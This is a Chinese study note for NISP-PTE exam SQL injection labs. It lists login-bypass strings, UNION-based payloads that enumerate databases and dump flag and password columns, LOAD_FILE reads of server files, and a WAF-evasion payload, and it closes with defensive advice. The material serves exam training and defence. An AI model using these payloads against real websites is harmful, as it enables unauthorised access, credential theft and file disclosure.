NISP-PTE基础实操——SQL注入
🔐 一、基础注入知识点
什么是SQL注入?
SQL注入(SQL Injection)是指攻击者通过构造恶意SQL语句,将其注入到Web应用程序的输入中,从而控制后台数据库服务器,达到信息泄露、数据篡改、越权操作等目的。
🧪 二、SQL注入模拟与分类总结
✅ 模拟1:登录绕过 / 万能密码
' OR 1=1 --
-
原理:利用逻辑表达式永远为真 (
1=1
),绕过登录验证。 -
用途:用于登录框、管理员后台等认证接口的绕过。
✅ 模拟2:信息收集类注入(基于UNION的注入)
-
注入点探测
?uuid=-1'+union+ALL+SELECT+'1','2','3','4','5','6
-
检查返回字段数是否正确,判断注入点位置。
-
-
获取数据库名
SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata
-
获取数据表名
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='wasjcms'
-
获取字段名
SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'
-
获取字段值
SELECT flag FROM wasjcms.flag
✅ 模拟3:读取服务器敏感文件
UNION SELECT ..., LOAD_FILE('/var/www/html/key.flag'), ...
-
函数:
LOAD_FILE(path)
可读取服务器文件内容(需满足条件如路径可读、权限开放)。 -
风险:信息泄露、读取flag等敏感数据。
✅ 模拟4:数据库结构探测与读取数据
?id=0 UNION SELECT 1,2,GROUP_CONCAT(table_name),... FROM information_schema.tables WHERE table_schema=database()
-
探测当前数据库的表结构
-
GROUP_CONCAT(...)
:合并多行数据为单行输出,便于查看。
?id=0 UNION SELECT ..., GROUP_CONCAT(flag) FROM cms.cms_flag
-
实际读取指定表字段值
✅ 模拟5:编码绕过与路径文件读取
?id=0')%0bununionion%0bselect%0b1,2,3,load_file('/tmp/key.flag')%23
-
%0b
是 URL 编码的垂直制表符,用于绕过WAF或过滤器。 -
%23
是#
的URL编码,相当于注释符。
✅ 模拟6:精确信息提取
- 获取当前数据库
(SELECT database())
- 获取表名
SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE table_schema='php_test'
- 获取字段名
SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns WHERE table_name='users'
- 获取数据内容
SELECT GROUP_CONCAT(username,password) FROM php_test.users
📌 三、常用注入函数与技巧
类别 | 用法/函数 | 说明 |
---|---|---|
绕过 | ' OR 1=1 -- | 登录认证绕过 |
信息合并 | GROUP_CONCAT() | 将多行字段合并 |
系统函数 | database() , now() , user() | 当前数据库/时间/用户 |
系统表 | information_schema.tables , columns , schemata | 探测数据库结构 |
文件读取 | LOAD_FILE() | 读取服务器文件 |
注释符 | -- , # , /*...*/ | 注释掉原SQL |
🧱 四、防御建议
-
使用预编译语句(Prepared Statements / ORM)
-
对用户输入进行严格校验与转义
-
最小权限原则:数据库用户不要授予
FILE
,SUPER
,GRANT
,DROP
权限 -
隐藏错误信息,不返回SQL异常到前端
-
部署WAF / IDS 等安全设备进行注入防护
pteSQL注入模拟1
万能密码' OR 1=1 --
pteSQL注入模拟2
找注入点
?uuid=-1'+union+ALL+SELECT+'1','2','3','4','5','6
数据库名 wasjcms
?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.SCHEMATA),'3','4','5','6
表名 flag
?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='wasjcms'),'3','4','5','6
字段flag
?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(column_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='flag'),'3','4','5','6
数据
?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+flag+FROM+wasjcms.flag),'3','4','5','6
pteSQL注入模拟3
union select 1,2,3,4,5,6,7,8,9,10,11,12,load_file('/var/www/html/key.flag'),14,15--+
pteSQL注入模拟4
联合查询
?id=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
?id=0 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--+
?id=0 union select 1,2,group_concat(convert(table_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--+
?id=0 union select 1,2,group_concat(flag),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_flag--+
pteSQL注入模拟5
?id=0')%0bununionion%0bselect%0b1,2,3,load_file('/tmp/key.flag')%23
pteSQL注入模拟6
数据库名:
2','3',(SELECT database()),NOW()) --
表:
2',(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables where table_schema='php_test'),'4',NOW()) --
列:
2',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns where table_schema='php_test' and table_name='users'),'4',NOW()) --
2',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns where table_schema='php_test' and table_name='articles'),'4',NOW()) --
值:
2','3',(SELECT GROUP_CONCAT(password) from php_test.users),NOW()) --